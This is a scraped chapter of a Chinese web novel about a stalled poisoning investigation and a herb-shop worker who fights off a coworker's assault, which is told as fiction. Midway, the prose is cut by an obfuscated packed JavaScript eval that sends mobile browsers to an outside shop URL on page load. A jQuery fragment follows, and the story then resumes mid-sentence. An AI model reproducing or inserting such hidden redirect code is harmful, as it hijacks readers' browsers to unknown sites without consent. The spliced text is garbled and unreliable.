文趣网 > 其他小说 > 天杀的,白捡的男人跑了 > 49. 第 49 章
    毒杀前靖安侯的案件可以算得上是毫无进展,人证是府中旧仆,口供也只是片面之词,为沈旦验尸的是民间仵作无官方背书,孤证难立。

    加之此案涉及勋贵,开棺验尸更是朝野大忌,自元江将案件层层上报后,朝堂便沸反盈天、争论不休。

    一众勋贵旧臣接连上书劝谏皇帝驳回奏请,恐一开此例,后世权贵陵寝皆无宁日。

    沈明齐暗中让太子一党官员极力阻挠,说是沈家内斗不应当惊扰逝者,沈氏宗族也联名反对,指责沈砚耕大逆不道,反对勘验。

    连带着上奏的元江也吃到不少弹劾。远在京外剿匪的沈砚耕反倒置身事外,任凭京中狂风暴雨、骂名四起都与他无关,元江总觉得自己是跳进了沈砚耕挖出来的深坑。

    就在僵局愈演愈烈之际,陛下下旨,将全案卷宗移交大理寺、刑部三司会同重审。

    此案已经是京中风口浪尖的大案,京兆府不想揽责、也不敢掣肘,索性放手让元江全权处置,上请陛下特许元江以京兆府主审之身联合查办。

    虽说背负骂名,但府尹放权、陛下特许,元江也不必在囿于微末,怎么不算福祸相依。

    脑袋看得昏沉,元江起身拉伸四肢,他走出门去呼吸了口新鲜空气,睁眼仔细看清,才发现太阳又落山了。

    左右是坐累了又闲不下来,他便背着手去了牢狱中审犯人,还没走近问询室,远远瞧见狱卒将一个人拖了出来,那人垂着头不知道再说些什么。

    元江走过去问站在门口的府吏:“阿布还是一套说辞?”

    “是,一口咬定是宋玉指使,并且说他从头到尾都是和孟接触,不曾见过主家。”

    “还真是嘴硬,孟原先就是沈明齐手下的人,现在反倒说这件事沈明齐不知情,”元江瞟了眼被拖走的人的背影,随口问:“那可是阿布的手下,怎么觉得模样有些奇怪,不像是中原人。”

    “他是宕昌羌人。”

    “外族人?”元江心下一惊,说道:“阿布一行人审了这么久,怎么会忽然冒出来个羌人?”

    见他脸色微沉,府吏也意识到此事非同小何,掬着手连忙解释道:“他祖上有中原的血统,本身长得就不太像羌人,汉话也说得流利,直到最近将阿布一行人祖籍来历排查清楚后,才发现原来他是外族人。”

    “一伙流匪中竟然带着外乡人……”元江垂眸沉思片刻,厉声吩咐道:“把那人带回来单独关押,我要提审阿布。”

    “是!”

    府吏应声领命,不敢耽搁,当即转身传令。

    辛苦得来的铜钱被一个个穿好,银钱相碰清脆的叮当声在寂静的夜色中格外明显,杨满枝坐在床边,身上的草药香还未散尽,她嗅了嗅袖口,看着手上那一串铜钱,忽而发笑。

    自己是什么时候成了这样的大善人,明明当初把沈砚耕捡回家,也只是因为想要拿走他手上紧紧攥着镶嵌了宝石的剑鞘,却没想到他“死而复生”,也只能连人一起扛回去。

    到如今却为了别人,花掉自己半生积蓄甚至不求回报,在京城从最底层做起,还得瞒着所有人。

    沈砚耕若是知道了,怕是会气个半死,骂杨满枝区别对待。

    想起沈砚耕生气的模样,红着脸一句话也憋不出来,杨满枝便不自觉扬起嘴角。

    只是,他离京的日子也不算久,手心的温度和皮肤的触觉怎么变得如此模糊。

    她忽然感到失落。

    铜钱的重量落在手里,既让她感到安心,但同时空虚也随之而来,身体的疲惫无法熄灭繁杂的思绪,杨满枝收好铜钱,起身走到外室书案前坐下。

    风干的石榴花放在信纸上,信上简短的写着:

    见花思君,灼灼其艳。遥祝安和。

    杨满枝将信读了几遍,仍是忍不住抱怨:“也不知道再写长些,吃得可好、睡得可好、身体可好,全都不说,哪怕我当时看不懂,往后总能明白的。”

    她这样说着,也就提笔在纸上写下了怨嗔,她略去近日风波,只让沈砚耕好生照护自己,尽早回来。

    纸上写得满满当当,墨迹还有几处涂改,她一字一字慢慢描摹,字句朴素,却句句都是真心。

    见了西院里的桂树,会想他;喝上一碗鸽子汤,会想他;拿起笔写字,也会想起他教自己写字的模样。

    这种情绪让杨满枝惶恐不安,就好像人生已经被沈砚耕占满,这不由得让她想起戴文赋曾问过她的问题。

    如果成为了靖安侯夫人,那么杨满枝就不再是山野里无拘无束的猎户,但那也意味着,她不必再为二十贯忧愁,也有能力让更多人得到帮助。

    “不对。”杨满枝猛地眨眼打断自己的想法,伸手拍了拍脸自言自语道:“感情怎么可以掺杂目的。”

    她看着信纸深吸一口气,忍下自己的困惑,像只初出巢的燕子,报喜不报忧。

    药房里记药材名儿的老伙计辞工回乡,分拣药材的杨满枝本想接过这活儿多拿些工钱,却被老板以哪儿认识几个字打发了,杨满枝下午一上工,就瞧见了药铺后院儿里的生面孔。

    见杨满枝进来,那男人一步三晃荡地走到她跟前,先是细长的眼睛上下将杨满枝打量了一遍,然后露出了不怀好意地笑。

    “你是老板的姘头?”

    杨满枝眉头抽动,目光如炬,咬牙切齿地问:“你说什么?”

    “哦呵呵呵,”那男人一笑,那股子轻蔑隐藏了不少,他道歉:“哎呦,真是对不住,是我误会了,毕竟邺平女子少有出来做活儿的。

    “你是哪家姑娘?”

    哪里是邺平女子,他想说的分明是只有低贱的女子才会出来抛头露面。

    对于他的态度,杨满枝嗤之以鼻,她说道:“今日药铺新进了一批药材,在天黑前要记好账,别耽误我回家。”

    王石紧跟在杨满枝身后,说:“这么着急回去,男人在家里等吗?”

    话音刚落,杨满枝驻足,她猛地转身揪住王石的脖子,警告道:“你这么想要男人,你就去找一个,再在这儿东拉西扯,我会打得你说话漏风。”

    王石不退反进,想要趁机贴近,随即被杨满枝甩开,他摸了摸胸口,满脸堆笑:“好好好,都依小娘子的。”

    原本上工就烦,如今杨满枝还得分出几分精神注意王石这个

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17808654|207619||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不要脸的。

    但可能是她的警告起了作用,除了最开始的冒犯,王石倒是出奇的安生。

    在老板伙计来往后院时,对杨满枝也是谦卑有力,见人也会笑着打招呼,杨满枝见他不再有多余的动作,也就专心致志干活。

    忙碌的时间总是过得特别快,等杨满枝整理好了药材再度起身,天色已经黑了下来,院中也只剩她一人。

    后院进门,老板留了一盏灯,杨满枝伸了个懒腰,将药材全搬进库房。

    库房里全是药材,不便点灯,杨满枝接着进门的那盏灯,将竹萝放好。

    突然间,房中光线一暗,有双手摸了上来,杨满枝心中一惊,连忙甩掉手中竹萝要挣脱。

    但那人用了力气,见杨满枝乱动,直接箍住她的腰,让杨满枝双脚离地。

    杨满枝只觉恶心,借力踹倒木架子,让那人的后背结结实实的撞墙上,又趁着松懈的间隙,猛地扣住腰间的手腕,向后一扭,那人吃痛连连后退,杨满枝借着灯光看清楚了那人的模样。

    “王石,你竟然贼心不死!”

    被人抓包,王石嘴上不输,胡说八道:“什么贼心不死,不是你喊我留下吗?”

    “留你大爷!”杨满枝怒从心头起,朝着他面中就是一拳。

    “哎哟!”王石捂着鼻子连连后退,另一只手却被杨满枝紧紧抓着,她一扥又将王石拉回来,朝着脸上又是一拳。

    杨满枝一松手,王石便跌坐在地上,头歪向一边张口,碎齿混着血肉吐在地上。

    “你这泼妇!我杀了你!”门牙被打掉了一半,王石说话漏着风,他抄起一旁的竹棍,挣扎着起身朝杨满枝身上招呼。

    杨满枝只是一抬手,便将棍子夺了过来,趁王石还没反应过来朝他身下一捅,他痛得喊不出声,在地上打滚。

    后院的骚动引起了前院预备休息的老板,他和妻子叫喊着守夜的伙计一同跑进来,大喊道:“怎么了怎么了!”

    见有人来了,杨满枝还没来得及说话,王石便恶人先告状,指着杨满枝大喊:“杀人啦,杨满枝杀人啦!”

    “哼,杀人?”杨满枝的腰带有些松垮,她怒目眼中,攥着木管的手指节发白,“我现在就想砍下你的手!”

    “等等等!”老板横叉在二人面前,指着杨满枝:“你要干什么!”

    “你问我要干什么?”杨满枝觉得可笑,她指着王石骂:“你该问这个杂种,他为何要非礼我!”

    闻言,老板脸色一变,王石还在地上哀嚎:“什么非礼,你五大三粗的,谁会看上你,我只是见她搬药辛苦,想要帮她一把,结果不但被她打了一顿,还要被她污蔑!”

    “你!”杨满枝气急,抬腿就往王石身上踹,老板夫人搂着她的腰,将她拦下,伙计连忙将王石扶起。

    两人剑拔弩张,老板苦着脸为难地左看右看,王石刚站起来就要去打杨满枝,伙计险些没拦住。

    见王石狗仗人势,杨满枝作势还手,老板站在中间,眼看着火烧到自己头上,他挠了挠头发,大手一挥说道:

    “好了,既然谁也不服谁,那就报官,叫县尉做主!”